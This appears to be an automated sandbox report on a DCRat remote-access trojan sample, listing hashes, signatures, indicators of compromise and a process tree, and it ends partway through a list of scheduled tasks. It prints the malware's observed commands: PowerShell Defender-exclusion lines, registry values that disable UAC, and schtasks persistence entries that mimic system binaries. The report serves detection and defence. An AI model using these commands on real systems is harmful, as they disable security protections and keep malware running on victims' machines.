dcrat | 4139dc5ea64ae693feff804f9c0fb452ebec30752b00725aceb394d699d3e674

Analysis

max time kernel
151s
max time network
191s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02/10/2022, 16:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
43103a22004373f78f8217411d2ba6fe.exe
Size 2.9MB
Sample221002-tmxqwsfdhr
SHA256 4139dc5ea64ae693feff804f9c0fb452ebec30752b00725aceb394d699d3e674
MD5 43103a22004373f78f8217411d2ba6fe
SHA1 4eb660421a2b96218a325f25d6144b76261aaba3
SHA512 2e20686d404ab6c3c94885ac36f81d71e589af4c807561de9ccc7f6cd08e62ab7f50da956b36eab68c7e38b840582d0c109898e07eef1cd8ca4f67facee94f6b
SSDEEP 49152:HSWEaekAlA+IVIdhgSUVCbw488TdiCsUKpXQDZXz95zhoMtUUTlAcuEckri:yWEv1HUYXArxpXgX55z+MtRAcu9kri
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat evasion infostealer rat spyware stealer trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 45 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5036	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4964	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1312	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4276	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3312	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5116	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5008	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1712	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4516	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2908	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	940	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4204	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3496	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	368	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4060	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3032	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4536	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2132	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3932	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3788	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	484	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3224	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3752	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3256	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2596	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2096	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4940	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3572	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	832	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4608	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2244	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3652	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4388	1500	schtasks.exe	71
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1644	1500	schtasks.exe	71

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	csrss.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	csrss.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	csrss.exe

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/1952-132-0x0000000000230000-0x000000000051C000-memory.dmp	dcrat
behavioral2/files/0x0007000000022e5a-213.dat	dcrat
behavioral2/files/0x0007000000022e5a-212.dat	dcrat
behavioral2/memory/3548-215-0x00000000005C0000-0x00000000008AC000-memory.dmp	dcrat

Executes dropped EXE 1 IoCs

pid	Process
3548	csrss.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	43103a22004373f78f8217411d2ba6fe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	csrss.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43103a22004373f78f8217411d2ba6fe.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	csrss.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	csrss.exe

Drops file in Program Files directory 20 IoCs

description	ioc	Process
File created	C:\Program Files\Uninstall Information\taskhostw.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Windows NT\Accessories\Registry.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\RCXA270.tmp	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Common Files\RCXC100.tmp	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Common Files\StartMenuExperienceHost.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\System.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Uninstall Information\ea9f0e6c9e2dcd	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Windows NT\Accessories\ee2ad38f3d4382	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Common Files\StartMenuExperienceHost.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Windows NT\Accessories\RCXBBED.tmp	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Mozilla Firefox\defaults\pref\cc11b995f2a76d	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Common Files\55b276f4edf653	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Uninstall Information\taskhostw.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Windows Defender\ja-JP\System.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Program Files\Windows Defender\ja-JP\27d1bcfc3c54e0	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Mozilla Firefox\defaults\pref\RCXA773.tmp	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Uninstall Information\RCXB1A8.tmp	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Program Files\Windows NT\Accessories\Registry.exe	43103a22004373f78f8217411d2ba6fe.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\RemotePackages\RemoteDesktops\RCXB6BB.tmp	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\CbsTemp\5b884080fd4f94	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\PLA\Templates\886983d96e3d3e	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\RemotePackages\RemoteDesktops\55b276f4edf653	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Windows\PLA\Templates\csrss.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Windows\CbsTemp\fontdrvhost.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Windows\PLA\Templates\RCXB42A.tmp	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\CbsTemp\fontdrvhost.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\PLA\Templates\csrss.exe	43103a22004373f78f8217411d2ba6fe.exe
File created	C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe	43103a22004373f78f8217411d2ba6fe.exe
File opened for modification	C:\Windows\CbsTemp\RCXAC95.tmp	43103a22004373f78f8217411d2ba6fe.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 45 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
832	schtasks.exe
2244	schtasks.exe
2236	schtasks.exe
5112	schtasks.exe
4276	schtasks.exe
1312	schtasks.exe
5008	schtasks.exe
4608	schtasks.exe
4940	schtasks.exe
5036	schtasks.exe
5044	schtasks.exe
940	schtasks.exe
2012	schtasks.exe
3496	schtasks.exe
2132	schtasks.exe
4964	schtasks.exe
5116	schtasks.exe
1648	schtasks.exe
2296	schtasks.exe
4536	schtasks.exe
3932	schtasks.exe
3752	schtasks.exe
4432	schtasks.exe
208	schtasks.exe
4060	schtasks.exe
3256	schtasks.exe
3572	schtasks.exe
2692	schtasks.exe
1644	schtasks.exe
3032	schtasks.exe
484	schtasks.exe
3224	schtasks.exe
3312	schtasks.exe
2908	schtasks.exe
368	schtasks.exe
4204	schtasks.exe
1064	schtasks.exe
3788	schtasks.exe
2596	schtasks.exe
2096	schtasks.exe
3624	schtasks.exe
1712	schtasks.exe
4516	schtasks.exe
3652	schtasks.exe
4388	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	43103a22004373f78f8217411d2ba6fe.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	csrss.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe
1952	43103a22004373f78f8217411d2ba6fe.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	43103a22004373f78f8217411d2ba6fe.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	648	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	5000	mousocoreworker.exe
Token: SeDebugPrivilege	3548	csrss.exe
Token: SeBackupPrivilege	5100	vssvc.exe
Token: SeRestorePrivilege	5100	vssvc.exe
Token: SeAuditPrivilege	5100	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3548	csrss.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 4840	1952	43103a22004373f78f8217411d2ba6fe.exe	127
PID 1952 wrote to memory of 4840	1952	43103a22004373f78f8217411d2ba6fe.exe	127
PID 1952 wrote to memory of 1544	1952	43103a22004373f78f8217411d2ba6fe.exe	130
PID 1952 wrote to memory of 1544	1952	43103a22004373f78f8217411d2ba6fe.exe	130
PID 1952 wrote to memory of 1836	1952	43103a22004373f78f8217411d2ba6fe.exe	129
PID 1952 wrote to memory of 1836	1952	43103a22004373f78f8217411d2ba6fe.exe	129
PID 1952 wrote to memory of 820	1952	43103a22004373f78f8217411d2ba6fe.exe	132
PID 1952 wrote to memory of 820	1952	43103a22004373f78f8217411d2ba6fe.exe	132
PID 1952 wrote to memory of 4348	1952	43103a22004373f78f8217411d2ba6fe.exe	136
PID 1952 wrote to memory of 4348	1952	43103a22004373f78f8217411d2ba6fe.exe	136
PID 1952 wrote to memory of 4044	1952	43103a22004373f78f8217411d2ba6fe.exe	135
PID 1952 wrote to memory of 4044	1952	43103a22004373f78f8217411d2ba6fe.exe	135
PID 1952 wrote to memory of 3772	1952	43103a22004373f78f8217411d2ba6fe.exe	138
PID 1952 wrote to memory of 3772	1952	43103a22004373f78f8217411d2ba6fe.exe	138
PID 1952 wrote to memory of 4292	1952	43103a22004373f78f8217411d2ba6fe.exe	140
PID 1952 wrote to memory of 4292	1952	43103a22004373f78f8217411d2ba6fe.exe	140
PID 1952 wrote to memory of 648	1952	43103a22004373f78f8217411d2ba6fe.exe	142
PID 1952 wrote to memory of 648	1952	43103a22004373f78f8217411d2ba6fe.exe	142
PID 1952 wrote to memory of 1000	1952	43103a22004373f78f8217411d2ba6fe.exe	143
PID 1952 wrote to memory of 1000	1952	43103a22004373f78f8217411d2ba6fe.exe	143
PID 1952 wrote to memory of 1524	1952	43103a22004373f78f8217411d2ba6fe.exe	144
PID 1952 wrote to memory of 1524	1952	43103a22004373f78f8217411d2ba6fe.exe	144
PID 1952 wrote to memory of 3764	1952	43103a22004373f78f8217411d2ba6fe.exe	147
PID 1952 wrote to memory of 3764	1952	43103a22004373f78f8217411d2ba6fe.exe	147
PID 1952 wrote to memory of 2832	1952	43103a22004373f78f8217411d2ba6fe.exe	150
PID 1952 wrote to memory of 2832	1952	43103a22004373f78f8217411d2ba6fe.exe	150
PID 1952 wrote to memory of 4468	1952	43103a22004373f78f8217411d2ba6fe.exe	152
PID 1952 wrote to memory of 4468	1952	43103a22004373f78f8217411d2ba6fe.exe	152
PID 1952 wrote to memory of 1316	1952	43103a22004373f78f8217411d2ba6fe.exe	154
PID 1952 wrote to memory of 1316	1952	43103a22004373f78f8217411d2ba6fe.exe	154
PID 1952 wrote to memory of 5000	1952	43103a22004373f78f8217411d2ba6fe.exe	174
PID 1952 wrote to memory of 5000	1952	43103a22004373f78f8217411d2ba6fe.exe	174
PID 1952 wrote to memory of 1064	1952	43103a22004373f78f8217411d2ba6fe.exe	159
PID 1952 wrote to memory of 1064	1952	43103a22004373f78f8217411d2ba6fe.exe	159
PID 1064 wrote to memory of 2920	1064	cmd.exe	161
PID 1064 wrote to memory of 2920	1064	cmd.exe	161
PID 1064 wrote to memory of 3548	1064	cmd.exe	166
PID 1064 wrote to memory of 3548	1064	cmd.exe	166
PID 3548 wrote to memory of 2236	3548	csrss.exe	168
PID 3548 wrote to memory of 2236	3548	csrss.exe	168
PID 3548 wrote to memory of 2296	3548	csrss.exe	169
PID 3548 wrote to memory of 2296	3548	csrss.exe	169

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	43103a22004373f78f8217411d2ba6fe.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	csrss.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	csrss.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	csrss.exe

C:\Users\Admin\AppData\Local\Temp\43103a22004373f78f8217411d2ba6fe.exe
"C:\Users\Admin\AppData\Local\Temp\43103a22004373f78f8217411d2ba6fe.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\43103a22004373f78f8217411d2ba6fe.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Recent\sppsvc.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender\ja-JP\System.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\fontdrvhost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\dllhost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\dllhost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\taskhostw.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\PLA\Templates\csrss.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\AppData\SppExtComObj.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\Accessories\Registry.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\StartMenuExperienceHost.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\RuntimeBroker.exe'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\Idle.exe'
  2⤵
  PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\35gbisF1f8.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\w32tm.exe
    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
    3⤵
    PID:2920
- - C:\Windows\PLA\Templates\csrss.exe
    "C:\Windows\PLA\Templates\csrss.exe"
    3⤵
    - UAC bypass
    - Executes dropped EXE
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:3548
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5db83de6-9068-4018-b7db-f2430d5caf02.vbs"
      4⤵
      PID:2236
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1218d2b9-b1d4-4814-b9ff-932afdab8a7c.vbs"
      4⤵
      PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender\ja-JP\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\ja-JP\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Defender\ja-JP\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5044

C:\Windows\system32\schtasks.exe
